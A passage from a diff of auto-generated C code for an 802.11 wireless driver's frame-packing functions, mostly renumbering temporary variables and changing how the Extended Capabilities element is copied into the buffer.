tmp93__; tANI_U8 tmp94__; tANI_U8 tmp95__; - tANI_U8 tmp96__; - tANI_U8 tmp97__; - tANI_U8 tmp98__; nNeeded += 18; while ( pSrc->present ) { @@ -25921,76 +25493,76 @@ tANI_U32 dot11fPackIePropEDCAParams(tpAniSirGlobal pCtx, *pBuf = pSrc->reserved; *pnConsumed += 1; pBuf += 1; - tmp91__ = 0U; - tmp91__ |= ( pSrc->acbe_aifsn << 0 ); - tmp91__ |= ( pSrc->acbe_acm << 4 ); - tmp91__ |= ( pSrc->acbe_aci << 5 ); - tmp91__ |= ( pSrc->unused1 << 7 ); - *pBuf = tmp91__; + tmp88__ = 0U; + tmp88__ |= ( pSrc->acbe_aifsn << 0 ); + tmp88__ |= ( pSrc->acbe_acm << 4 ); + tmp88__ |= ( pSrc->acbe_aci << 5 ); + tmp88__ |= ( pSrc->unused1 << 7 ); + *pBuf = tmp88__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp92__ = 0U; - tmp92__ |= ( pSrc->acbe_min << 0 ); - tmp92__ |= ( pSrc->acbe_max << 4 ); - *pBuf = tmp92__; + tmp89__ = 0U; + tmp89__ |= ( pSrc->acbe_min << 0 ); + tmp89__ |= ( pSrc->acbe_max << 4 ); + *pBuf = tmp89__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; frameshtons(pCtx, pBuf, pSrc->acbe_txoplimit, 0); *pnConsumed += 2; pBuf += 2; - tmp93__ = 0U; - tmp93__ |= ( pSrc->acbk_aifsn << 0 ); - tmp93__ |= ( pSrc->acbk_acm << 4 ); - tmp93__ |= ( pSrc->acbk_aci << 5 ); - tmp93__ |= ( pSrc->unused2 << 7 ); - *pBuf = tmp93__; + tmp90__ = 0U; + tmp90__ |= ( pSrc->acbk_aifsn << 0 ); + tmp90__ |= ( pSrc->acbk_acm << 4 ); + tmp90__ |= ( pSrc->acbk_aci << 5 ); + tmp90__ |= ( pSrc->unused2 << 7 ); + *pBuf = tmp90__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp94__ = 0U; - tmp94__ |= ( pSrc->acbk_min << 0 ); - tmp94__ |= ( pSrc->acbk_max << 4 ); - *pBuf = tmp94__; + tmp91__ = 0U; + tmp91__ |= ( pSrc->acbk_min << 0 ); + tmp91__ |= ( pSrc->acbk_max << 4 ); + *pBuf = tmp91__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; frameshtons(pCtx, pBuf, pSrc->acbk_txoplimit, 0); *pnConsumed += 2; pBuf += 2; - tmp95__ = 0U; - tmp95__ |= ( pSrc->acvi_aifsn << 0 ); - tmp95__ |= ( pSrc->acvi_acm << 4 ); - tmp95__ |= ( pSrc->acvi_aci << 5 ); - tmp95__ |= ( pSrc->unused3 << 7 ); - *pBuf = tmp95__; + tmp92__ = 0U; + tmp92__ |= ( pSrc->acvi_aifsn << 0 ); + tmp92__ |= ( pSrc->acvi_acm << 4 ); + tmp92__ |= ( pSrc->acvi_aci << 5 ); + tmp92__ |= ( pSrc->unused3 << 7 ); + *pBuf = tmp92__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp96__ = 0U; - tmp96__ |= ( pSrc->acvi_min << 0 ); - tmp96__ |= ( pSrc->acvi_max << 4 ); - *pBuf = tmp96__; + tmp93__ = 0U; + tmp93__ |= ( pSrc->acvi_min << 0 ); + tmp93__ |= ( pSrc->acvi_max << 4 ); + *pBuf = tmp93__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; frameshtons(pCtx, pBuf, pSrc->acvi_txoplimit, 0); *pnConsumed += 2; pBuf += 2; - tmp97__ = 0U; - tmp97__ |= ( pSrc->acvo_aifsn << 0 ); - tmp97__ |= ( pSrc->acvo_acm << 4 ); - tmp97__ |= ( pSrc->acvo_aci << 5 ); - tmp97__ |= ( pSrc->unused4 << 7 ); - *pBuf = tmp97__; + tmp94__ = 0U; + tmp94__ |= ( pSrc->acvo_aifsn << 0 ); + tmp94__ |= ( pSrc->acvo_acm << 4 ); + tmp94__ |= ( pSrc->acvo_aci << 5 ); + tmp94__ |= ( pSrc->unused4 << 7 ); + *pBuf = tmp94__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp98__ = 0U; - tmp98__ |= ( pSrc->acvo_min << 0 ); - tmp98__ |= ( pSrc->acvo_max << 4 ); - *pBuf = tmp98__; + tmp95__ = 0U; + tmp95__ |= ( pSrc->acvo_min << 0 ); + tmp95__ |= ( pSrc->acvo_max << 4 ); + *pBuf = tmp95__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -26178,7 +25750,7 @@ tANI_U32 dot11fPackIeTaurus(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U16 tmp99__; + tANI_U16 tmp96__; nNeeded += 6; while ( pSrc->present ) { @@ -26193,10 +25765,10 @@ tANI_U32 dot11fPackIeTaurus(tpAniSirGlobal pCtx, frameshtons(pCtx, pBuf, pSrc->baPolicy, 0); *pnConsumed += 2; pBuf += 2; - tmp99__ = 0U; - tmp99__ |= ( pSrc->baBufferSize << 0 ); - tmp99__ |= ( pSrc->rsvd << 12 ); - frameshtons(pCtx, pBuf, tmp99__, 0); + tmp96__ = 0U; + tmp96__ |= ( pSrc->baBufferSize << 0 ); + tmp96__ |= ( pSrc->rsvd << 12 ); + frameshtons(pCtx, pBuf, tmp96__, 0); *pnConsumed += 2; // fieldsEndFlag = 1 nBuf -= 2 ; @@ -26615,11 +26187,11 @@ tANI_U32 dot11fPackIeRRMEnabledCap(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; + tANI_U8 tmp97__; + tANI_U8 tmp98__; + tANI_U8 tmp99__; tANI_U8 tmp100__; tANI_U8 tmp101__; - tANI_U8 tmp102__; - tANI_U8 tmp103__; - tANI_U8 tmp104__; nNeeded += 5; while ( pSrc->present ) { @@ -26628,57 +26200,57 @@ tANI_U32 dot11fPackIeRRMEnabledCap(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp100__ = 0U; - tmp100__ |= ( pSrc->LinkMeasurement << 0 ); - tmp100__ |= ( pSrc->NeighborRpt << 1 ); - tmp100__ |= ( pSrc->parallel << 2 ); - tmp100__ |= ( pSrc->repeated << 3 ); - tmp100__ |= ( pSrc->BeaconPassive << 4 ); - tmp100__ |= ( pSrc->BeaconActive << 5 ); - tmp100__ |= ( pSrc->BeaconTable << 6 ); - tmp100__ |= ( pSrc->BeaconRepCond << 7 ); - *pBuf = tmp100__; + tmp97__ = 0U; + tmp97__ |= ( pSrc->LinkMeasurement << 0 ); + tmp97__ |= ( pSrc->NeighborRpt << 1 ); + tmp97__ |= ( pSrc->parallel << 2 ); + tmp97__ |= ( pSrc->repeated << 3 ); + tmp97__ |= ( pSrc->BeaconPassive << 4 ); + tmp97__ |= ( pSrc->BeaconActive << 5 ); + tmp97__ |= ( pSrc->BeaconTable << 6 ); + tmp97__ |= ( pSrc->BeaconRepCond << 7 ); + *pBuf = tmp97__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp101__ = 0U; - tmp101__ |= ( pSrc->FrameMeasurement << 0 ); - tmp101__ |= ( pSrc->ChannelLoad << 1 ); - tmp101__ |= ( pSrc->NoiseHistogram << 2 ); - tmp101__ |= ( pSrc->statistics << 3 ); - tmp101__ |= ( pSrc->LCIMeasurement << 4 ); - tmp101__ |= ( pSrc->LCIAzimuth << 5 ); - tmp101__ |= ( pSrc->TCMCapability << 6 ); - tmp101__ |= ( pSrc->triggeredTCM << 7 ); - *pBuf = tmp101__; + tmp98__ = 0U; + tmp98__ |= ( pSrc->FrameMeasurement << 0 ); + tmp98__ |= ( pSrc->ChannelLoad << 1 ); + tmp98__ |= ( pSrc->NoiseHistogram << 2 ); + tmp98__ |= ( pSrc->statistics << 3 ); + tmp98__ |= ( pSrc->LCIMeasurement << 4 ); + tmp98__ |= ( pSrc->LCIAzimuth << 5 ); + tmp98__ |= ( pSrc->TCMCapability << 6 ); + tmp98__ |= ( pSrc->triggeredTCM << 7 ); + *pBuf = tmp98__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp102__ = 0U; - tmp102__ |= ( pSrc->APChanReport << 0 ); - tmp102__ |= ( pSrc->RRMMIBEnabled << 1 ); - tmp102__ |= ( pSrc->operatingChanMax << 2 ); - tmp102__ |= ( pSrc->nonOperatinChanMax << 5 ); - *pBuf = tmp102__; + tmp99__ = 0U; + tmp99__ |= ( pSrc->APChanReport << 0 ); + tmp99__ |= ( pSrc->RRMMIBEnabled << 1 ); + tmp99__ |= ( pSrc->operatingChanMax << 2 ); + tmp99__ |= ( pSrc->nonOperatinChanMax << 5 ); + *pBuf = tmp99__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp103__ = 0U; - tmp103__ |= ( pSrc->MeasurementPilot << 0 ); - tmp103__ |= ( pSrc->MeasurementPilotEnabled << 3 ); - tmp103__ |= ( pSrc->NeighborTSFOffset << 4 ); - tmp103__ |= ( pSrc->RCPIMeasurement << 5 ); - tmp103__ |= ( pSrc->RSNIMeasurement << 6 ); - tmp103__ |= ( pSrc->BssAvgAccessDelay << 7 ); - *pBuf = tmp103__; + tmp100__ = 0U; + tmp100__ |= ( pSrc->MeasurementPilot << 0 ); + tmp100__ |= ( pSrc->MeasurementPilotEnabled << 3 ); + tmp100__ |= ( pSrc->NeighborTSFOffset << 4 ); + tmp100__ |= ( pSrc->RCPIMeasurement << 5 ); + tmp100__ |= ( pSrc->RSNIMeasurement << 6 ); + tmp100__ |= ( pSrc->BssAvgAccessDelay << 7 ); + *pBuf = tmp100__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp104__ = 0U; - tmp104__ |= ( pSrc->BSSAvailAdmission << 0 ); - tmp104__ |= ( pSrc->AntennaInformation << 1 ); - tmp104__ |= ( pSrc->reserved << 2 ); - *pBuf = tmp104__; + tmp101__ = 0U; + tmp101__ |= ( pSrc->BSSAvailAdmission << 0 ); + tmp101__ |= ( pSrc->AntennaInformation << 1 ); + tmp101__ |= ( pSrc->reserved << 2 ); + *pBuf = tmp101__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -26761,7 +26333,7 @@ tANI_U32 dot11fPackIeSchedule(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U16 tmp105__; + tANI_U16 tmp102__; nNeeded += 14; while ( pSrc->present ) { @@ -26770,12 +26342,12 @@ tANI_U32 dot11fPackIeSchedule(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp105__ = 0U; - tmp105__ |= ( pSrc->aggregation << 0 ); - tmp105__ |= ( pSrc->tsid << 1 ); - tmp105__ |= ( pSrc->direction << 5 ); - tmp105__ |= ( pSrc->reserved << 7 ); - frameshtons(pCtx, pBuf, tmp105__, 0); + tmp102__ = 0U; + tmp102__ |= ( pSrc->aggregation << 0 ); + tmp102__ |= ( pSrc->tsid << 1 ); + tmp102__ |= ( pSrc->direction << 5 ); + tmp102__ |= ( pSrc->reserved << 7 ); + frameshtons(pCtx, pBuf, tmp102__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; @@ -26975,9 +26547,9 @@ tANI_U32 dot11fPackIeTSPEC(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U16 tmp106__; - tANI_U8 tmp107__; - tANI_U16 tmp108__; + tANI_U16 tmp103__; + tANI_U8 tmp104__; + tANI_U16 tmp105__; nNeeded += 55; while ( pSrc->present ) { @@ -26986,30 +26558,30 @@ tANI_U32 dot11fPackIeTSPEC(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp106__ = 0U; - tmp106__ |= ( pSrc->traffic_type << 0 ); - tmp106__ |= ( pSrc->tsid << 1 ); - tmp106__ |= ( pSrc->direction << 5 ); - tmp106__ |= ( pSrc->access_policy << 7 ); - tmp106__ |= ( pSrc->aggregation << 9 ); - tmp106__ |= ( pSrc->psb << 10 ); - tmp106__ |= ( pSrc->user_priority << 11 ); - tmp106__ |= ( pSrc->tsinfo_ack_pol << 14 ); - frameshtons(pCtx, pBuf, tmp106__, 0); + tmp103__ = 0U; + tmp103__ |= ( pSrc->traffic_type << 0 ); + tmp103__ |= ( pSrc->tsid << 1 ); + tmp103__ |= ( pSrc->direction << 5 ); + tmp103__ |= ( pSrc->access_policy << 7 ); + tmp103__ |= ( pSrc->aggregation << 9 ); + tmp103__ |= ( pSrc->psb << 10 ); + tmp103__ |= ( pSrc->user_priority << 11 ); + tmp103__ |= ( pSrc->tsinfo_ack_pol << 14 ); + frameshtons(pCtx, pBuf, tmp103__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; - tmp107__ = 0U; - tmp107__ |= ( pSrc->schedule << 0 ); - tmp107__ |= ( pSrc->unused << 1 ); - *pBuf = tmp107__; + tmp104__ = 0U; + tmp104__ |= ( pSrc->schedule << 0 ); + tmp104__ |= ( pSrc->unused << 1 ); + *pBuf = tmp104__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp108__ = 0U; - tmp108__ |= ( pSrc->size << 0 ); - tmp108__ |= ( pSrc->fixed << 15 ); - frameshtons(pCtx, pBuf, tmp108__, 0); + tmp105__ = 0U; + tmp105__ |= ( pSrc->size << 0 ); + tmp105__ |= ( pSrc->fixed << 15 ); + frameshtons(pCtx, pBuf, tmp105__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; @@ -27074,7 +26646,7 @@ tANI_U32 dot11fPackIeWMMSchedule(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U16 tmp109__; + tANI_U16 tmp106__; nNeeded += 15; while ( pSrc->present ) { @@ -27096,12 +26668,12 @@ tANI_U32 dot11fPackIeWMMSchedule(tpAniSirGlobal pCtx, *pBuf = pSrc->version; *pnConsumed += 1; pBuf += 1; - tmp109__ = 0U; - tmp109__ |= ( pSrc->aggregation << 0 ); - tmp109__ |= ( pSrc->tsid << 1 ); - tmp109__ |= ( pSrc->direction << 5 ); - tmp109__ |= ( pSrc->reserved << 7 ); - frameshtons(pCtx, pBuf, tmp109__, 0); + tmp106__ = 0U; + tmp106__ |= ( pSrc->aggregation << 0 ); + tmp106__ |= ( pSrc->tsid << 1 ); + tmp106__ |= ( pSrc->direction << 5 ); + tmp106__ |= ( pSrc->reserved << 7 ); + frameshtons(pCtx, pBuf, tmp106__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; @@ -27340,9 +26912,9 @@ tANI_U32 dot11fPackIeWMMTSPEC(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U16 tmp110__; - tANI_U8 tmp111__; - tANI_U16 tmp112__; + tANI_U16 tmp107__; + tANI_U8 tmp108__; + tANI_U16 tmp109__; nNeeded += 38; while ( pSrc->present ) { @@ -27364,30 +26936,30 @@ tANI_U32 dot11fPackIeWMMTSPEC(tpAniSirGlobal pCtx, *pBuf = pSrc->version; *pnConsumed += 1; pBuf += 1; - tmp110__ = 0U; - tmp110__ |= ( pSrc->traffic_type << 0 ); - tmp110__ |= ( pSrc->tsid << 1 ); - tmp110__ |= ( pSrc->direction << 5 ); - tmp110__ |= ( pSrc->access_policy << 7 ); - tmp110__ |= ( pSrc->aggregation << 9 ); - tmp110__ |= ( pSrc->psb << 10 ); - tmp110__ |= ( pSrc->user_priority << 11 ); - tmp110__ |= ( pSrc->tsinfo_ack_pol << 14 ); - frameshtons(pCtx, pBuf, tmp110__, 0); + tmp107__ = 0U; + tmp107__ |= ( pSrc->traffic_type << 0 ); + tmp107__ |= ( pSrc->tsid << 1 ); + tmp107__ |= ( pSrc->direction << 5 ); + tmp107__ |= ( pSrc->access_policy << 7 ); + tmp107__ |= ( pSrc->aggregation << 9 ); + tmp107__ |= ( pSrc->psb << 10 ); + tmp107__ |= ( pSrc->user_priority << 11 ); + tmp107__ |= ( pSrc->tsinfo_ack_pol << 14 ); + frameshtons(pCtx, pBuf, tmp107__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; - tmp111__ = 0U; - tmp111__ |= ( pSrc->tsinfo_rsvd << 0 ); - tmp111__ |= ( pSrc->burst_size_defn << 7 ); - *pBuf = tmp111__; + tmp108__ = 0U; + tmp108__ |= ( pSrc->tsinfo_rsvd << 0 ); + tmp108__ |= ( pSrc->burst_size_defn << 7 ); + *pBuf = tmp108__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp112__ = 0U; - tmp112__ |= ( pSrc->size << 0 ); - tmp112__ |= ( pSrc->fixed << 15 ); - frameshtons(pCtx, pBuf, tmp112__, 0); + tmp109__ = 0U; + tmp109__ |= ( pSrc->size << 0 ); + tmp109__ |= ( pSrc->fixed << 15 ); + frameshtons(pCtx, pBuf, tmp109__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; @@ -27697,14 +27269,14 @@ tANI_U32 dot11fPackIeEDCAParamSet(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; + tANI_U8 tmp110__; + tANI_U8 tmp111__; + tANI_U8 tmp112__; tANI_U8 tmp113__; tANI_U8 tmp114__; tANI_U8 tmp115__; tANI_U8 tmp116__; tANI_U8 tmp117__; - tANI_U8 tmp118__; - tANI_U8 tmp119__; - tANI_U8 tmp120__; nNeeded += 18; while ( pSrc->present ) { @@ -27719,76 +27291,76 @@ tANI_U32 dot11fPackIeEDCAParamSet(tpAniSirGlobal pCtx, *pBuf = pSrc->reserved; *pnConsumed += 1; pBuf += 1; - tmp113__ = 0U; - tmp113__ |= ( pSrc->acbe_aifsn << 0 ); - tmp113__ |= ( pSrc->acbe_acm << 4 ); - tmp113__ |= ( pSrc->acbe_aci << 5 ); - tmp113__ |= ( pSrc->unused1 << 7 ); - *pBuf = tmp113__; + tmp110__ = 0U; + tmp110__ |= ( pSrc->acbe_aifsn << 0 ); + tmp110__ |= ( pSrc->acbe_acm << 4 ); + tmp110__ |= ( pSrc->acbe_aci << 5 ); + tmp110__ |= ( pSrc->unused1 << 7 ); + *pBuf = tmp110__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp114__ = 0U; - tmp114__ |= ( pSrc->acbe_acwmin << 0 ); - tmp114__ |= ( pSrc->acbe_acwmax << 4 ); - *pBuf = tmp114__; + tmp111__ = 0U; + tmp111__ |= ( pSrc->acbe_acwmin << 0 ); + tmp111__ |= ( pSrc->acbe_acwmax << 4 ); + *pBuf = tmp111__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; frameshtons(pCtx, pBuf, pSrc->acbe_txoplimit, 0); *pnConsumed += 2; pBuf += 2; - tmp115__ = 0U; - tmp115__ |= ( pSrc->acbk_aifsn << 0 ); - tmp115__ |= ( pSrc->acbk_acm << 4 ); - tmp115__ |= ( pSrc->acbk_aci << 5 ); - tmp115__ |= ( pSrc->unused2 << 7 ); - *pBuf = tmp115__; + tmp112__ = 0U; + tmp112__ |= ( pSrc->acbk_aifsn << 0 ); + tmp112__ |= ( pSrc->acbk_acm << 4 ); + tmp112__ |= ( pSrc->acbk_aci << 5 ); + tmp112__ |= ( pSrc->unused2 << 7 ); + *pBuf = tmp112__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp116__ = 0U; - tmp116__ |= ( pSrc->acbk_acwmin << 0 ); - tmp116__ |= ( pSrc->acbk_acwmax << 4 ); - *pBuf = tmp116__; + tmp113__ = 0U; + tmp113__ |= ( pSrc->acbk_acwmin << 0 ); + tmp113__ |= ( pSrc->acbk_acwmax << 4 ); + *pBuf = tmp113__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; frameshtons(pCtx, pBuf, pSrc->acbk_txoplimit, 0); *pnConsumed += 2; pBuf += 2; - tmp117__ = 0U; - tmp117__ |= ( pSrc->acvi_aifsn << 0 ); - tmp117__ |= ( pSrc->acvi_acm << 4 ); - tmp117__ |= ( pSrc->acvi_aci << 5 ); - tmp117__ |= ( pSrc->unused3 << 7 ); - *pBuf = tmp117__; + tmp114__ = 0U; + tmp114__ |= ( pSrc->acvi_aifsn << 0 ); + tmp114__ |= ( pSrc->acvi_acm << 4 ); + tmp114__ |= ( pSrc->acvi_aci << 5 ); + tmp114__ |= ( pSrc->unused3 << 7 ); + *pBuf = tmp114__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp118__ = 0U; - tmp118__ |= ( pSrc->acvi_acwmin << 0 ); - tmp118__ |= ( pSrc->acvi_acwmax << 4 ); - *pBuf = tmp118__; + tmp115__ = 0U; + tmp115__ |= ( pSrc->acvi_acwmin << 0 ); + tmp115__ |= ( pSrc->acvi_acwmax << 4 ); + *pBuf = tmp115__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; frameshtons(pCtx, pBuf, pSrc->acvi_txoplimit, 0); *pnConsumed += 2; pBuf += 2; - tmp119__ = 0U; - tmp119__ |= ( pSrc->acvo_aifsn << 0 ); - tmp119__ |= ( pSrc->acvo_acm << 4 ); - tmp119__ |= ( pSrc->acvo_aci << 5 ); - tmp119__ |= ( pSrc->unused4 << 7 ); - *pBuf = tmp119__; + tmp116__ = 0U; + tmp116__ |= ( pSrc->acvo_aifsn << 0 ); + tmp116__ |= ( pSrc->acvo_acm << 4 ); + tmp116__ |= ( pSrc->acvo_aci << 5 ); + tmp116__ |= ( pSrc->unused4 << 7 ); + *pBuf = tmp116__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp120__ = 0U; - tmp120__ |= ( pSrc->acvo_acwmin << 0 ); - tmp120__ |= ( pSrc->acvo_acwmax << 4 ); - *pBuf = tmp120__; + tmp117__ = 0U; + tmp117__ |= ( pSrc->acvo_acwmin << 0 ); + tmp117__ |= ( pSrc->acvo_acwmax << 4 ); + *pBuf = tmp117__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -27814,7 +27386,7 @@ tANI_U32 dot11fPackIeERPInfo(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp121__; + tANI_U8 tmp118__; nNeeded += 1; while ( pSrc->present ) { @@ -27823,12 +27395,12 @@ tANI_U32 dot11fPackIeERPInfo(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp121__ = 0U; - tmp121__ |= ( pSrc->non_erp_present << 0 ); - tmp121__ |= ( pSrc->use_prot << 1 ); - tmp121__ |= ( pSrc->barker_preamble << 2 ); - tmp121__ |= ( pSrc->unused << 3 ); - *pBuf = tmp121__; + tmp118__ = 0U; + tmp118__ |= ( pSrc->non_erp_present << 0 ); + tmp118__ |= ( pSrc->use_prot << 1 ); + tmp118__ |= ( pSrc->barker_preamble << 2 ); + tmp118__ |= ( pSrc->unused << 3 ); + *pBuf = tmp118__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -27889,7 +27461,7 @@ tANI_U32 dot11fPackIeESERadMgmtCap(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp122__; + tANI_U8 tmp119__; nNeeded += 2; while ( pSrc->present ) { @@ -27909,10 +27481,10 @@ tANI_U32 dot11fPackIeESERadMgmtCap(tpAniSirGlobal pCtx, *pBuf = pSrc->mgmt_state; *pnConsumed += 1; pBuf += 1; - tmp122__ = 0U; - tmp122__ |= ( pSrc->mbssid_mask << 0 ); - tmp122__ |= ( pSrc->reserved << 3 ); - *pBuf = tmp122__; + tmp119__ = 0U; + tmp119__ |= ( pSrc->mbssid_mask << 0 ); + tmp119__ |= ( pSrc->reserved << 3 ); + *pBuf = tmp119__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -28099,10 +27671,7 @@ tANI_U32 dot11fPackIeExtCap(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U32 tmp123__; - tANI_U16 tmp124__; - tANI_U16 tmp125__; - nNeeded += 8; + nNeeded += pSrc->num_bytes; while ( pSrc->present ) { if ( nNeeded > nBuf ) return DOT11F_BUFFER_OVERFLOW; @@ -28110,72 +27679,9 @@ tANI_U32 dot11fPackIeExtCap(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp123__ = 0U; - tmp123__ |= ( pSrc->bssCoexistMgmtSupport << 0 ); - tmp123__ |= ( pSrc->reserved1 << 1 ); - tmp123__ |= ( pSrc->extChanSwitch << 2 ); - tmp123__ |= ( pSrc->reserved2 << 3 ); - tmp123__ |= ( pSrc->psmpCap << 4 ); - tmp123__ |= ( pSrc->reserved3 << 5 ); - tmp123__ |= ( pSrc->spsmpCap << 6 ); - tmp123__ |= ( pSrc->event << 7 ); - tmp123__ |= ( pSrc->diagnostics << 8 ); - tmp123__ |= ( pSrc->multiDiagnostics << 9 ); - tmp123__ |= ( pSrc->locTracking << 10 ); - tmp123__ |= ( pSrc->FMS << 11 ); - tmp123__ |= ( pSrc->proxyARPService << 12 ); - tmp123__ |= ( pSrc->coLocIntfReporting << 13 ); - tmp123__ |= ( pSrc->civicLoc << 14 ); - tmp123__ |= ( pSrc->geospatialLoc << 15 ); - tmp123__ |= ( pSrc->TFS << 16 ); - tmp123__ |= ( pSrc->wnmSleepMode << 17 ); - tmp123__ |= ( pSrc->timBroadcast << 18 ); - tmp123__ |= ( pSrc->bssTransition << 19 ); - tmp123__ |= ( pSrc->qosTrafficCap << 20 ); - tmp123__ |= ( pSrc->acStaCnt << 21 ); - tmp123__ |= ( pSrc->multiBSSID << 22 ); - tmp123__ |= ( pSrc->timingMeas << 23 ); - tmp123__ |= ( pSrc->chanUsage << 24 ); - tmp123__ |= ( pSrc->ssidList << 25 ); - tmp123__ |= ( pSrc->DMS << 26 ); - tmp123__ |= ( pSrc->UTCTSFOffset << 27 ); - tmp123__ |= ( pSrc->TDLSPeerUAPSDBufferSTA << 28 ); - tmp123__ |= ( pSrc->TDLSPeerPSMSupp << 29 ); - tmp123__ |= ( pSrc->TDLSChannelSwitching << 30 ); - tmp123__ |= ( pSrc->interworkingService << 31 ); - frameshtonl(pCtx, pBuf, tmp123__, 0); - *pnConsumed += 4; - pBuf += 4; - nBuf -= 4 ; - tmp124__ = 0U; - tmp124__ |= ( pSrc->qosMap << 0 ); - tmp124__ |= ( pSrc->EBR << 1 ); - tmp124__ |= ( pSrc->sspnInterface << 2 ); - tmp124__ |= ( pSrc->reserved4 << 3 ); - tmp124__ |= ( pSrc->msgCFCap << 4 ); - tmp124__ |= ( pSrc->TDLSSupport << 5 ); - tmp124__ |= ( pSrc->TDLSProhibited << 6 ); - tmp124__ |= ( pSrc->TDLSChanSwitProhibited << 7 ); - tmp124__ |= ( pSrc->rejectUnadmittedTraffic << 8 ); - tmp124__ |= ( pSrc->serviceIntervalGranularity << 9 ); - tmp124__ |= ( pSrc->identifierLoc << 12 ); - tmp124__ |= ( pSrc->uapsdCoexistence << 13 ); - tmp124__ |= ( pSrc->wnmNotification << 14 ); - tmp124__ |= ( pSrc->reserved5 << 15 ); - frameshtons(pCtx, pBuf, tmp124__, 0); - *pnConsumed += 2; - pBuf += 2; - nBuf -= 2 ; - tmp125__ = 0U; - tmp125__ |= ( pSrc->UTF8SSID << 0 ); - tmp125__ |= ( pSrc->reserved6 << 1 ); - tmp125__ |= ( pSrc->TDLSWiderBW << 13 ); - tmp125__ |= ( pSrc->operModeNotification << 14 ); - tmp125__ |= ( pSrc->reserved7 << 15 ); - frameshtons(pCtx, pBuf, tmp125__, 0); - *pnConsumed += 2; - // fieldsEndFlag = 1 - nBuf -= 2 ; + DOT11F_MEMCPY(pCtx, pBuf, &( pSrc->bytes ), pSrc->num_bytes); + *pnConsumed += pSrc->num_bytes; + // fieldsEndFlag = 1 break; } (void)pCtx; @@ -28369,7 +27875,7 @@ tANI_U32 dot11fPackIeFTInfo(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U16 tmp126__; + tANI_U16 tmp120__; tANI_U32 status = DOT11F_PARSE_SUCCESS; status = dot11fGetPackedIEFTInfo(pCtx, pSrc, &nNeeded); if ( ! DOT11F_SUCCEEDED( status ) ) return status; @@ -28380,10 +27886,10 @@ tANI_U32 dot11fPackIeFTInfo(tpAniSirGlobal pCtx, ++pBuf; --nBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; --nBuf; ++(*pnConsumed); - tmp126__ = 0U; - tmp126__ |= ( pSrc->reserved << 0 ); - tmp126__ |= ( pSrc->IECount << 8 ); - frameshtons(pCtx, pBuf, tmp126__, 0); + tmp120__ = 0U; + tmp120__ |= ( pSrc->reserved << 0 ); + 